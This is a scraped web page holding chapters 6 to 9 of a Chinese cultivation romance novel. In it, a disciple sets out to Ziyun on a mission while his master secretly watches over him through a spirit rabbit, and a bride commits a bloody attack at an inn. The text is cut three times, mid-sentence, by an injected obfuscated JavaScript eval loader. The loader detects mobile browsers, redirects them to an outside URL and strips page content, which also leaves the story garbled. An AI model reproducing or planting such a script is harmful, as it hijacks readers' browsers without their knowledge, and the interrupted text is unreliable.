篱笆将半个山腰随意围了起来,两人停在篱笆门外,师姐大喊道:“小师叔,在家吗?” 里面懒懒传来:“进来吧。” 莲池水波荡漾,叫他们进来的人就坐在池边石头上,一条腿盘起,一条腿泡在池子里:“来啦,两位师侄。芙元,你的修为精进不少啊,应该能进外门了?” 芙元不由得笑道:“嗯!这不,给小师叔领来了下一个跑腿的。来,青撰。”她一扭头,见师弟头低低的,不由得踢了他一脚,“干啥呢,大大方方的,叫人啊。” 青撰深吸一口气,抬头。 先是看见了浸没在水中的脚腕、挽到了小腿的裤脚。仙宗弟子服都是黑裤白袍绣暗红色祥云纹,只有小师叔衣袍上是烈火祥云纹,此时那袍边就大剌剌掖在了腰间腰带上,夜色里看不清劲瘦的腰线,只看见烈火祥云纹好似在黑夜中灼烧。 清凌凌的潭水粼粼映着碎光,映的那双剥莲子的手也浸了水般清透干净。 “咚。” 莲子壳丢入水中,发出声轻响,剥好的莲子放入竹篮中,这只手的主人打了个响指,“喂,这位小师侄?” 青撰呆呆地看着这位传闻中的小师叔的脸,不由得心想,也难怪小师叔常年居于宗门鲜花榜榜首,更难怪浮屠佛门了悟大师如此跳脚,那佛子如果能坚守佛心不动摇,必得能修成真佛。 世上真有人长成这般模样,气息和山间草木一样自然,但五官长相却似初生的骄阳烈火,眉目灼灼,灵动无双。 青撰:“哦、哦。见过小师叔。” 喻连扔了七八个莲蓬过去,他慌忙接住。 喻连:“叫了师叔认了门,以后我罩着你。来,请你们吃莲子,我自己种的,甜得很,不用客气。” 芙元笑道:“多谢师叔。您接的外派宗门任务已经登记完毕,这是任务执行记录册,给您放这里了。” 喻连:“好。” 芙元:“那我们便先走了。” 喻连笑眯眯说:“走吧走吧。” 芙元转身走了几步,忽然回头:“?”她回去一巴掌呼在青撰后脑勺上,“走了!想住这儿?” 青撰抱着莲蓬低下头。 芙元拽着他的衣服走了:“你今日怎的如此不机灵?回头小师叔再以为我给他送了个呆瓜过来……” 喻连剥了颗莲子扔嘴里,似笑非笑。 一抹跳跃的火光从他经脉里面钻出来,化作个头顶莲花的小火人,只有拇指大小,童音稚嫩臭屁:“总算能出门了,憋死个火!小崽,老大罩你,出去再给我把那秃驴打一顿!好生可恶。” 喻连点点它的脑袋:“老大,杀心不要太重哦。” “我是你的伴生之火,生来就是保护你的,老秃驴欺负你,我不把场子找回来还了得?”伴生之火每天大概有三个时辰的时间能以这种形态在外面出现,陪喻连玩。 它就叫火老大,没文化的时候自己想的,寓意火中老大,后来有了点文化,觉得自己这名字取得简直就是天才,不管谁都得喊它老大。 喻连:“咱这次出门不去浮屠佛门讨嫌了。” 火老大:“那去哪里?” 喻连:“孜云州,据说那里出了点好玩的事情,咱们去看看。” 自然不是好玩的事,他在仙宗待了十二年,有关谢久白的事知道的七七八八。 【姓名:谢久白 身份:仙宗首尊 任务目标:成为谢久白真正的情劫,查*&%)真相*&,并****%¥# 命运修复值:-23%】 收了他为徒,谢久白重回仙宗镇守仙门后,命运修复值就上涨了不少,随着他对谢久白旧事了解的越多,命运修复值也在持续上升。 只是谢久白身份摆在那,许多旧事都已掩埋,长辈很少提起,小辈知道的也只是传说。 喻连目前只知道谢久白不少年少逸闻、喜好习惯,至于谢久白喜欢谁,似乎只有极少数的长辈们知晓,他套问不出。 时间消弭了很多东西,谢仙尊好似连桃花绯闻都没有,干干净净。 他想再进沧山,把那道剑影用留影石复刻,好寻找线索,却得知沧山中央的战场残存当年邪祟气息,是九州禁地,除却宗门长老以上的人同意,宗内弟子不允许随意进入。 任务细想来也颇为奇怪,既然谢久白已经有了喜欢的人,为何还要他成为谢久白真正的情劫? 不过前几天,谢久白的个人界面给他弹出了一个提示词:【孜云州】。 喻连翻遍了宗门任务,只找到了一条跟孜云州相关的奇闻—— 传言孜云州有一颗姻缘树,能窥人情丝因果,探人情假情真。 喻连打算去探一探。 辅助系统给他弹的关键词,应该是混沌虚弱的世界意识给他的提示,或许可以顺势探出谢久白的情丝因果。 而且就算他不出门,谢久白估计也坐不住了,那扶阳药尊说的十六年之期,如今还有两年。 两年之内,他若还是没有全心爱上别人,心窍不开禁制不解,谢久白就没办法取心窍救人了。 师父呐,你可怎么办啊。 后衣领子被人拎起,一道冷淡的声音响起:“又泡在莲池里,上次受寒的不是你?” 喻连浑身一僵,讪讪回头:“师父……” 谢久白:“出来。” 喻连把脚从池子里拔出来,火老大绕着他小腿飞了一圈,湿寒之气瞬间没了,它抱着胸坐在喻连肩膀上,看谢久白眼不是眼鼻子不是鼻子的,“就泡一会儿,又怎样?” 喻连忙伸出二指捏住它的脑袋,“嘘。” 火老大哧溜钻回他经脉中去了。 不知为何,它自打有了灵智后,就看谢久白格外不顺眼,烦得很,大概谢久白是冰灵根,火冰相冲吧。 “把剥好的莲子拿过来。”谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实他没打算将喻连养在身边,毕竟选择了亲近,等那一天到来的时候,就会越痛苦。他只是打算等喻连长大,亲自给他挑个爱人,再控制对方,取走喻连的心窍,仅此而已。 那是当月初一,兰泊风急喊着他的名字,抱着浑身无力的喻连冲到了孤渺峰,“谢久白!你徒弟这是怎么了?” 小孩捂着胸口大口大口喘着气,呼吸困难,浑身虚汗。 他让兰泊风回去,自己将喻连抱到峰顶,联系了碧云天的扶阳药尊。 扶阳药尊是这样说的:“哦,这个啊,当时忘记告诉你了。” “那个婴灵,噢,现在是你徒弟,他心窍中的精华被强制锁住,和他心窍融在了一起,变成了…干脆还叫赤阳丹心好了。赤阳丹心可以给他提供修行上的帮助,但与此同时,过强的力量淤堵一处,也会给他的身体带来了极大负累。” “每逢月初,月华最弱,火性最强之时,他就会心痛难忍,呼吸困难——如同凡人的心疾。” “欸,别开口,我知道你想说什么,不过我没办法治好。你徒弟是赤火红莲,受天地庇护有禁制护心的,等闲手段无效,你去找我师妹吧,她研究心窍,最擅长这个。” 末了,他又提醒道:“我跟你说过,赤阳丹心本是滋养他身体的,现在已经凝结,自然是用不了了,婴灵寒暑不侵的特性消失,身体渐渐凡化。” “但他本质依旧是一株植物,那些缺了的本源能量无法弥补,他长大之后,体质别说跟修士比,就是比凡人也会略差些。” “这跟修为强弱和灵根属性无关,少了本源力量滋养身体的植物会格外娇气难养,过冷过热都会让其生病难受,长大了大概才会好点,你注意点,别给养死了。” 自那以后,他就将喻连养在了身边,刚开始那两年,孤渺峰实在太冷,喻连会有一半时间在兰泊风那里,后来修为提高,伴生之火化灵,体质也增强了一些,就一直在孤渺峰修炼。 一转眼就是十年。 孤渺峰是什么时候从雪山变成了青山的? 谢久白不记得了。 “好师尊,你待我真好,你为何待我这样好?待我这般好的师父定不会生徒儿的气,对不对?”抱着他腰的少年还在撒娇,让他不要计较他晚上还把脚泡进莲池的事。 “没有生气。”谢久白忽而问了个不相干的问题:“你接了历练任务,什么时候离开宗门?” 喻连:“明天吧,在宗门憋了一年,身上真要长草了。怎么了师父?” “没事。” 谢久白敛眸,手中的菜倒入锅中,哗啦一声。 “也是时候了。” 7.第 7 章 荷叶莲子粥,清炒芦笋、虾糜丸子。 一顿饭吃得肚皮滚圆,喻连刷完碗筷,躺在小院摇椅上,拽着谢久白衣角不让人走,“师父,再陪我一会儿。” 谢久白:“既然如此,两年前你为何要搬到半山腰?” “……” 少年将毯子盖在脸上,哼哼两声,“半山腰的星星比峰顶亮。” 谢久白不与他胡扯,“我需闭关一段时日,你明日离开不必寻我,去寻你师伯,他有话同你讲。” “啊?徒儿还想临走时从师父那讨点东西呢。”少年掀开毯子露出脸。 “想要什么?”谢久白淡声道。 “其实我不缺东西,主要是讨个彩头,”喻连直起腰,忽然伸手,捏住谢久白几根发丝,灵气一划,这几根银灰的发丝落在他手中。 没有主人默许,凭堂堂谢仙尊的修为,别说用灵气割头发了,汗毛都割不下来。 喻连:“就这个。以后我出门遇到危险,就摆出这头发丝,告诉他们这是仙宗首尊的头发,还不快快投降。” 谢久白摇了摇头,“现在能松开我的袖子了吗?” 喻连摆手:“走吧走吧。” 谢久白走后,少年往后一仰,攥着头发丝的掌心已经紧张地出了一层汗,他拳头仅仅压在心口,感受着鼓点乱敲的心跳。 过了一会儿,他突然弹跳而起,冲入自己的竹屋中,在卧室床头暗阁里掏出个上了锁的木匣。 他打开木匣。 里面是两张手帕,一根发带。 他把发丝郑重卷入其中一方手帕中,叠好。 火老大从他经脉里面钻出来,哇哇大叫:“他的东西到底有什么珍贵的?垃圾跟宝贝一样藏起来,几根头发丝你也呜——” 喻连捏住它的嘴巴:“老大,小点声!给你留了师父做的饭,你快去吃吧。” 火老大果然被转移了注意力:“谁稀罕他做的饭。”身体很诚实地飘去了厨房,“不吃白不吃。” 少年重新打开手帕,耳尖红红的剪下自己几根头发,同帕子里的银灰发丝放在了一处。 趴在床边看了半天,他拍了拍自己的脸,清醒过来,重新叠好帕子,塞入木匣最深处,藏入暗阁。 一腔沸腾的热意充斥胸膛,他转头飞快跑了出去,大喊:“老大!我要洗澡,给我烧水。” 他感觉自己要睡不着了! - 孤渺峰峰顶。 谢久白把空菜篮挂到屋外墙上,进屋之后,坐在桌边,打开了一本《五大仙门天骄手册·单身无道侣·男版》。 至于为何是男版,是因为之前喻连十五岁生日,他小徒弟喝醉了,趴在他的腿上,巴巴地说自己喜欢的是男人。 如今修仙界男人喜欢男人也没什么奇怪。 只是谢久白许久没关注过这些,手册是从宗门杂事堂里找出来的,据说收集了各大仙门的优秀子弟,都是一顶一的道侣良缘。 谢久白知晓自己执念入骨,他亲手给自己的弟子挑选爱人,也只是想借那位‘爱人’的手,剜出自己弟子的心窍。 但这不妨碍他对喻连投入了师徒之情,更不妨碍他对手册上的人看不顺眼。 翻开第一页,谢久白坐在灯下,蹙眉念道:“尉迟太子,长相桀骜,性格…爽朗大方?”长相桀骜是什么形容? “若能结成道侣,定不缺修炼资源……” 他徒弟从来都没缺过修炼资源。 翻过。 下一页。 “碧云天,药修极多,家里有个药修的好处自不必说,大多数药修性格温和,容貌清秀,低调内敛,是贤内助的不二人选。推荐名单如下……” 药修么。 是不错。 喻连性子有些跳脱单纯,选个药修当贤内助照顾他确实还可以。 又翻一页。 “问苍剑冢少主,剑道天赋极高,战力强悍,寡言少语,神秘…冷漠?” 冷漠不行。 而且问苍剑冢太穷了。 翻过去的手指片刻后又翻了回来。 万一呢? 谢久白年少外出历练的时候,见过不少被家里养得十分单纯的大小姐,就愿意跟穷小子在一起过日子。 一本手册看了许久,越看眉头皱得越深。 最终谢久白把手册放下,转而去看喻连这次接下的任务,看着看着,倒是起了兴趣。 孜云州,姻缘树? 若真的找出他徒弟的命定情缘在哪,他直接过去把人抓来,押在孤渺峰培养感情便是。 - 次日。 日上三竿。 “小崽!!起床了——!!”一朵火拼命拽着一根小拇指,“再睡天都黑了!起来呀,出去玩了!” 四仰八叉的少年脑袋已经同被子一起滑到了床边脚凳上,他抬手遮了遮阳光,迷迷糊糊问:“几时了?” 火老大拽累了,稚嫩的声音蔫蔫的:“巳时都快过了。” “巳时……”喻连反应了一会儿,猛地睁开眼,“糟糕!师伯还在等我。” 他腾地一下白鱼翻身,手忙脚乱地穿衣服,“老大,快快,给我收拾包裹,我穿哪一身啊?包裹里也要放两身,老大帮我挑一挑!” “来啦。” “欸——?我棍子呢?糟了,上次丢哪了?” “我去找!” “等下,咱们还要带点吃的。” “你一件一件说嘛!”火老大也跟着手忙脚乱起来。 “最重要的一件事,”喻连从衣服堆里钻出来,“在外面不要叫我小崽,老大,这件事非常严肃。” 火老大郑重道:“我懂,要叫阿连。” 喻连捧脸:“老大你真好。” 火老大扯着喻连发带飞过来:“是最好。” 半刻钟后,他们收拾完毕,喻连从柴火堆里扒拉出来一根三尺半长的翠绿竹竿,约成年男子食指粗细,匀称笔直,一端缠绕着暗红布段,方便手持。 这根竹竿名曰清渠,是喻连的本命武器。 他将包裹系在清渠另一端,踩在脚下,朝着主峰飞去。 - 仙宗之内,谢久白是镇守仙宗的战力巅峰,称一宗仙尊。 兰泊风天生擅长经营,以商入道,在位期间将仙宗产业开遍了九州大地,治下宽严相济,尤重宗门内部清正风气,当之无愧的一宗之主。 ——当然,对自家直系小辈有点溺爱。 他跟谢久白是亲师兄弟,喻连是谢久白唯一的弟子,自然跟自己亲侄儿没区别,更别说这侄儿性格纯质,天赋极好,又是从小看到大的。 兰泊风有心把喻连当成下一代仙宗顶梁柱培养。 眼下看着扛着包裹急匆匆过来的喻连,不由得露出慈爱微笑:“慢点,用过膳了没?” 这是主峰背面,兰泊风私人修炼的住所,悬崖边上有一颗挂满了上古交易骨片和纹路神秘刀币的大树,风吹而过,轻灵叮咚作响。 他就坐在树下石桌旁,执棋自弈。 喻连急急刹棍,从清渠上跳下来,“师伯抱歉抱歉,我起来晚了。我准备等下去外事堂打包吃的。” “我刚处理了宗务过来没多久,要下山了?” “是,我师父昨天告诉我,让我走前来找您。师伯,您有什么事吗?” “上次你去浮屠佛门,虽然出去很久,但月初前赶了回来。孜云州路途遥远,一来一回恐怕得月余,你得在外面渡过一次月初,偏偏你接的是单人任务……”兰泊风说,“师伯不太放心你。” 喻连:“没事的师伯,我带好药了,而且还有老大呢。” 兰泊风:“话是如此,但还是保险些好,这个给你。”他不知从哪翻出个毛茸茸的活物,丢给了喻连。 喻连忙接住,定睛一看,是只红眼垂耳兔。 “这是我养的灵宠,实力还行,你带在身边,关键时候就把它丢出去,能挡灾。” 红眼垂耳兔瞥了一眼兰泊风,跳到了喻连左肩。 喻连:“师伯,挡灾什么的…会不会太残忍了,好歹是您养的灵宠。” 兰泊风:“放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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悬崖上的巨树后走出来一个人,坐在了兰泊风对面。 兰泊风摇头:“至于么,没见过你这么保护徒弟的。分魂进入兔子体内当灵宠,堂堂仙宗首尊,亏你想得出来。” 谢久白:“我要闭关了。” 兰泊风:“行,免得神魂不稳。对了,我给浮屠佛门、碧云天、尉迟皇族、问苍剑冢都去了信,除了浮屠佛门拒绝了之外,其他势力觉得,这一代的小辈们应该结交认识一下,所以都派了小辈去孜云州。” “这样他们都去调查同一件事,必定会撞一起,同龄人吵吵闹闹的,情谊就出来了,有助于几大势力交好。” 谢久白捻着棋子:“嗯。” 兰泊风:“你怎么有点心不在焉的?” 谢久白:“有吗?” 兰泊风:“有啊,从你让我给其他几大势力去信,让年轻一代的天骄们相识,我就觉得不对劲,你——”他盯着谢久白的脸。 “怎么。” “你是不是想打探敌情,摸清其他势力天骄的跟脚,这样两年后的九州台青云大比,咱家喻连必定夺魁!老东西,真是阴险啊。”兰泊风啧啧。 “……” 谢久白抬眼:“别忘了,你比我大。” 不过兰泊风猜错了。 这并不是一场摸清同辈天骄跟脚的‘算计’。 - 这是一场他单方面给徒弟选道侣的相亲会。 蹲在喻连左肩的垂耳兔——谢久白分魂,心想。 一路风驰电掣,孜云州位置偏远,喻连抵达目的地的时候,已经是一月二十七日。 他拍了拍肩上的霜花,抬头望向被霜雪覆盖的界碑,和笼罩在漫天细雪中的孜云州主城——不知春。 少年露出一抹笑,一口白气呼出。 “终于到了。” 8.第 8 章 不知春城内行人寥寥。 喻连虽不怕冷,但体质奇葩,挑了个门前挂了“囍”字灯笼的客栈,便赶紧进了去。 垂耳兔在他左肩甩了甩头,甩去毛上的雪花。 客栈小二迎上来:“客官,住店?” 喻连一身风尘仆仆,火老大早就藏入了他经脉中,他腰间别着竹竿,戴着斗笠,背着包裹,一副江湖旅客的模样。 “来间上房。” 客栈小二:“您来的正巧,就剩下一间了,我这就……” “来来来,公子里面请,正好还有一间上房!”正说着,一个中年男人笑呵呵的迎着位年轻人进来了,厚重的挡风帘子掀开,喻连回头看去。 只见来人约莫二十岁,大冷天的一身薄薄玄金单袍,胸膛坦荡半/裸,狼尾般的短发,眉宇生得桀骜而贵气。 他一进来便皱眉道:“老板,来你这里,是因为你家客栈叫第一客栈,真是失望,这环境称得上第一?” 客栈老板委屈说:“孜云州地处偏僻,我家客栈真是顶顶好了,第一绝不是虚言。” “罢了,就这样吧。” “老板……”客栈小二尴尬的看了一眼喻连,“您来之前,上房我许给这位客官了。” 年轻男子看向喻连。 喻连辅助系统弹出新的面板。 【姓名:尉迟临川 介绍:尉迟皇族太子,厌恶束缚,排斥以国运修仙,桀骜不驯,以离经叛道的行径逼迫尉迟皇族帝王废除自己太子之位。 命运修复值:27%】 没有要达成的任务目标,只有27%的命运修复值,是一位命运轨迹偏离了73%的重要剧情人物。 喻连眉梢微挑。 按照任务对象等级划分,谢久白这类是需要重点针对的关键人物,关键人物之下是重要人物。 原以为谢久白的面板已经够简洁了,没想到重要人物的面板更简洁。 尉迟临川:“他不是还没交钱么?” “这、这……”客栈老板擦了擦汗,恶狠狠瞪了一眼小二,左右看了看,权衡片刻后,对着喻连道,“这位客官,您看?” 喻连摘下斗笠,很好说话:“只要房中暖和,我都可以。” 那张被上苍钟爱的脸暴露在寒冷的客栈一楼,尉迟临川被晃的不由得愣神,就见眼前少年交了钱,被小二请去了二楼。 喻连左肩的垂耳兔却慢慢转过了身,视线凉凉的俯视过去。 《五大仙门天骄手册·单身无道侣·男版》里只有尉迟临川的画像还算清晰,谢久白记得这张脸。 ——尉迟太子,长相桀骜,爽朗大方? - 二楼拐角。 客栈小二对喻连千恩万谢的,“如今大雪封城,往来客商都滞留在此,老板时常出去拉客,这正巧撞上了,实在抱歉。待会儿我多给您拿个炭盆,再给您赠两道好菜。” 喻连没在意这点小事。 视线若有似无地瞟向垂耳兔,在兔子跳到他肩膀上的那一刻,辅助系统就告知了他兔子的身份。 尉迟皇族的人出现在这里,他并不觉得是巧合,尉迟皇族的太子,不会是他师父给他选的未来伴侣吧? 若孜云州真的沦为一场相亲会,那来的应该不止尉迟临川才对。 他把垂耳兔拿到手中捏了捏,“小白,刚才那个人挺大方的。” 垂耳兔抬起眼。 喻连:“胸膛宽广,很是大方。” 谢久白:“?” 兔子眼睛睁大了一点。 喻连小声说:“你不觉得吗?” 谢久白:“……” 分魂比本体容易情绪起伏,谢久白闭了闭眼,将情绪压下去。 不必生气,三百多年过去了,现在年轻人的想法他不理解很正常。 很正常。 客房门口。 喻连见到房门上也有“囍”字,不由得问道: “小二,客栈里可有喜事?我见外面灯笼贴了囍字,客栈里面也挂了红绸。” 客栈小二:“是呢,老板的闺女昨日刚从客栈出嫁,原是要摆宴三天,但雪太大,只送了亲便作罢,等雪化了再补。” “原来如此。” 次一等的客房比上房小,下雪潮湿,屋内有一丝挥之不去的淡淡霉味,叠好的被子同样冰凉潮湿。 火老大冒出来,自觉开始烘烤被子:“阿连,被子好像挺薄的。” 喻连一连打了好几个喷嚏。 火老大提醒道:“阿连吃药。” “这就吃,”少年叹了口气,“感觉自己修了个假仙,别的修士哪个不是灵力傍身身强体壮?若是旁的灵根便罢了,偏我是个火灵根,会得风寒这种事说出去跟个笑话似的。” 他翻了翻自己乱糟糟的储物袋。 “老大,我药你给我装哪了?好像只有扼灵定心丹,丸药呢。” 火老大:“咦?我记得我装了呀。” 垂耳兔拽着包裹过来,两只爪子解开系死了的布结,对包裹里面那叠也不叠的好几团衣服习以为常,从衣服里找出了一瓶丸药。 “竟然在这儿。” 喻连:“小白,你好厉害,你是狗吗?” 谢久白:“……” 垂耳兔冷淡转身,习惯性地开始整理包裹里一团乱的衣服。 有储物袋自然用不上包裹,但包裹可以在凡人面前稍微掩饰下,拿取大型物件不会太夸张。 仙宗弟子外出任务,都会背个小包裹,一般由亲近之人缝制,封入平安符。 喻连的包裹是他缝制的,左上角绣着烈火祥纹。 “居然会叠衣服,”喻连吃了药,若有所思,“我小时候都是师父帮我整理的。” 谢久白几不可查的一顿,叠衣服的动作刻意生疏了不少。 他心想,哪是小时候才帮着整理的,分明大了也是他在整理。 十五岁时,喻连非要闹着从峰顶搬到半山腰,住了没几日就在莲池里泡病了,谢久白下去照顾,一开衣柜,里面衣服乱糟糟塞成了山,上头还有火老大给他叠衣服时不小心烧出来的洞。 他把那些烧毁了的衣服都捡出来,回头就看见那一人一火心虚地低着头等着挨训。 一个真可怜,张口就是:“师父我错了。” 一个假硬撑,小声嘴硬:“我迟早能把小崽照顾好,这次是意外。” 他将东西和一人一火料理好,从此以后,基本日日下山,到半山腰来看看,顺便做顿饭。 - 夜幕降临,小二送进来炭盆。 喻连把炭盆放在床边,缩进被子里睡了,火老大煨在他脚边,持续散发着暖意。 到了半夜,熟睡的人把被子蹬了个歪七扭八,半边身子的被子几乎全掉,火老大每天三个时辰在外化形的时间到了,渐渐消散,隐入喻连体内。 喻连逐渐蜷缩起来。 垂耳兔眼中神采变作呆滞,房间内烛火一晃,谢久白无声无息出现在了床边。 他伸手探了探少年的额头,然后将被子给他扯好,身形一闪,消失在房间内。 再出现时,谢久白臂弯多了条被子。 他把这条被子也盖在了喻连身上后,坐到了床边,握着喻连的手,感受着少年掌心温度回升,才慢慢松开。 或许是松开的时候掌心空落,睡着的人醒了。 “……师父?”一道迷茫的呢喃声响起。 少年揉揉眼,再一看,那朦胧的身影不见了,床头只有一只与他大眼瞪小眼的兔子。 “果然是做梦呢。”喻连咕哝一声,一把捞住垂耳兔,揣进了被窝里,“跟我一起睡吧,小白。” 垂耳兔在他怀里待了一会儿,等少年熟睡,便又挪到了枕头边蹲下。 尉迟皇族此代小辈谢久白着实觉得不怎么样,不过这才一个,还有两个人没见,总有个能看得过眼的。 《五大仙门天骄手册·单身无道侣·男版》中排在第一的尉迟临川被他暂时画了个叉。 脑中思绪散去,谢久白闭上眼。 二楼上房。 尉迟临川平整的躺在自己床上,呼吸平稳。 他身上盖着的被子已然消失不见…… - 四更天。 夜色愈浓,大雪愈急。 寒风卷着雪雾,把‘第一客栈’牌匾两侧的囍字红灯笼吹得狂舞。 红灯笼里的光明明灭灭,摇散的光影没撑多久,在某一刻,倏的灭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081807|194890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一个穿着红嫁衣的影子由远及近,她手中拖拽着重物,面庞被冻得青紫,嘴里哆哆嗦嗦的念着:“爹爹…爹爹……错了……都错了……” 砰!砰!砰! 染着红豆蔻的手指重重拍在客栈大门上。 “爹……” “爹爹……” “爹爹——” “爹爹!!!!” 一声比一声凄厉。 吱呀—— 客栈小二哆哆嗦嗦地打开了一条门缝,“谁、谁啊?”待看清门外人的脸的时候,惊叫一声:“大小姐?!” 他忙将门打开:“这大晚上的,您怎么来了?” 突然他意识到不对劲。 大小姐前日出嫁,还不到三日回门,现在大半夜的,出嫁的嫁衣都没换,冒着风雪就回来了?不会是夫家虐待大小姐了吧。 被冻得麻木的鼻子后知后觉闻到了浓烈的血腥气,小二下意识往嫁衣女子身后一瞧,脸唰的就白了,腿软着往后退了好几步,发出尖叫。 “大半夜的作甚!”客栈老板满脸怒气的出来,哗啦一声,风雪将大门和挡住门的帘子一齐吹开,女儿惨白的脸映入眼中,他惊愕愣住。 女儿身后是一条长长的、蜿蜒的血迹,她手里拽着一只人脚,仔细一看,女儿拽着的分明是被从中间劈砍开了一半的人,残余的半张脸血痕斑斑—— 赫然是女儿的新婚夫婿! 客栈老板嘴唇子都在哆嗦:“芸、芸儿……?” 女儿流着眼泪说:“错了,爹爹,错了。” 客栈小二疯狂尖叫着“杀人了!”“杀人了!”,客栈老板恍如如在噩梦之中,手脚冰凉,“错了?什么错了?” “错了!错了!”女儿声音凄厉起来,松开尸体的脚踝,高举起另一只手,寒光凛冽的大砍刀猛地朝着自己爹爹砍下! “啊啊啊啊——!!” 喻连猛地睁开眼,一个翻身握住清渠,横在身前,“谁!谁??” 垂耳兔跳到了门前,打开了一条缝,一缕难以忽视的血腥气飘了上来,外面纷乱的声音冲入耳中。 是外面出事了。 喻连本欲直接冲出去,谢久白直接关了门,将寒气挡在了外面,拧眉看着没穿靴子和外衣就跳下床的徒弟。 “你干嘛小白?别挡路。”喻连用脚尖轻轻踢了踢垂耳兔的腿。 谢久白视线低,抬头那一瞬看见的不止是圆润的脚趾和清瘦的脚踝,还有笔直的小腿和若隐若现带着点细腻肉感的大腿根部。 喻连从小就对贴身穿的衣服格外挑剔,现在穿得这身是贴身穿会泛暖意的温蚕料子,半透不透,这样出去,风一吹,谁都能看得个囫囵。 谢久白蹙眉更深,指了指他叠好放在床尾的衣服。 喻连顺着看了过去,又低头看了眼自己,“哦哦哦好!差点忘了。” 客栈一楼。 彻底乱做了一团。 住店的客人不少都是江湖客,此时持剑下来,要将发疯砍人的女子拿下。 客栈老板捂着流血不止的肩膀,一边阻拦着这些人对女儿出手,一边又阻拦力气变得奇大无比的女儿四处砍杀。 眼见情况要控制不住,一道泛着金光的绳索凭空出现,将身着嫁衣的女子牢牢困住。 喻连也当即出手,清渠化作棍影飞去,将一楼江湖客们手中的利刃敲下,叮叮咣咣落了一地。 方才用金绳索的人察觉灵气波动,抬头望向二楼,正好对上喻连的目光。 喻连从二楼一跃而下,轻巧落地。 尉迟临川显然也是急急出来的,上半身没来得及穿,只披了外袍在肩上,此时从喉结到腹部倒三角一览无遗,这也就算了,偏他下半身也穿得囫囵,光着脚,大腿和小腿在晃动的衣摆里若隐若现。 本人却浑然不觉:“你也是修士?” 尉迟皇族到底怎么教导后辈的?一点也不端庄。 垂耳兔跳到喻连头上,两只耳朵垂下来,挡住了他的眼睛。 喻连此人对美的事物总是抱有欣赏的态度,对美好健康的身体亦是。 他有点移不开目光了,掀开耳朵‘刘海儿’,一眨不眨盯着人瞧:“在下喻连。兄台,你身材真好。” 9.第 9 章 尉迟临川不太在意地随手将衣服扯了扯,听清喻连姓名之后,白日里那副不将所有人放在眼里的神色倒是消失了。 他一向是唯实力论。 “仙宗的喻连?” “正是。” “久仰大名。” 他将喻连上下打量一番,拱手道,“在下尉迟临川。” 各大势力此代天骄都多少听过彼此姓名,两人交换了名字,也就知晓了对方的身份。 眼下不是交谈的时候,喻连把又垂下来的兔子耳朵一左一右别在自己耳后,环视一圈。 “这是怎么了?” 被金绳捆住的嫁衣女子状若疯癫,尖厉的声音不似人能发出的,客栈老板听见尉迟临川说‘仙宗’二字,当即泪眼涟涟地扑到喻连脚边:“原是仙长!求仙长救命啊!我这女儿怕…怕是中邪了!” 他一番哭求,众人才知道,这发疯的女子是老板的女儿,姓林,叫林芸。 前日出嫁的时候欢天喜地,不知这两日发生了什么,竟拖着自己夫婿的半截尸身,半夜回到娘家敲门,对着自己的亲爹提刀便砍。 尉迟临川并指在林芸额间一探:“没有看出中邪的痕迹。” 林老板:“不可能!绝对是中邪了!我女儿不会杀人的!这可是杀头的大罪啊……” 喻连蹲在旁边看林家女婿的半截尸体,看到靴子的时候顿住,又走过去看了看林芸的鞋子。 林老板哭到极致倒抽一口凉气,竟晕死过去,店小二掐林老板人中,朝着围观人群喊:“有没有大夫?先给我家老板看看。” “来、来了!” “大夫来了!” 众人抬头看向二楼。 那自称大夫的人是个面容清秀文雅的男子,一身简单的青衫,他背着药箱提着衣摆咚咚咚下楼,走到楼梯中间的时候突然一个打滑,直接滚了下来。 哐哐当当滚到一楼后他单手撑地,顺势来了个扫堂腿丝滑起身,踉踉跄跄地继续走,没成想踩到了歪倒的椅子,往前一摔,双膝跪地,直挺挺跪在了喻连面前,晕头转向地问:“病人?病人在哪??” 众人:“……” 尉迟临川:“……” 喻连:“……” 他礼貌往旁边侧了侧身,露出身后的林老板:“这里。” 大夫给林老板探脉后取出一根银针,扎入他体内。喻连看到一丝淡淡的灵气顺着银针刺入穴位,只一针,林老板倒抽的那口气就吐出来了。 林老板缓了缓:“敢问阁下是?” 大夫给他止了血,收针起身,拍了拍灰,温雅一笑:“在下祝不死,是个药修。” “原来是他啊。”尉迟临川嘀咕一声。 喻连悄声:“尉迟兄认识?” 尉迟临川抱胸,饱满的胸肌随着他的动作挤在了一起:“听说过,碧云天有名的霉神,传言他天资极好,改良了不少丹方,但气运极差,至今一枚成品丹都没练出来过。” 祝不死轻咳道:“方才在二楼听到二位的名字了,久仰久仰。” 【姓名:祝不死 介绍:碧云天陶玲仙君之徒,天资不凡,气运极差,痴迷钻研丹方,治疗顽疾,因霉运之故而受同门排挤,十分憎恶自己的霉运。 命运修复值:34%】 喻连浏览了一遍,然后扫了眼尉迟临川的胸肌,才说:“先给这姑娘看看,到底是不是犯了疯症。” 祝不死谨慎避过所有障碍物,给林芸瞧了瞧,片刻后道:“神思迷乱,心神受创,确实是失心疯的脉象。” 林老板:“没有中邪?” 祝不死肯定道:“没有。” 林老板哭天喊地:“这可怎么办呦!” 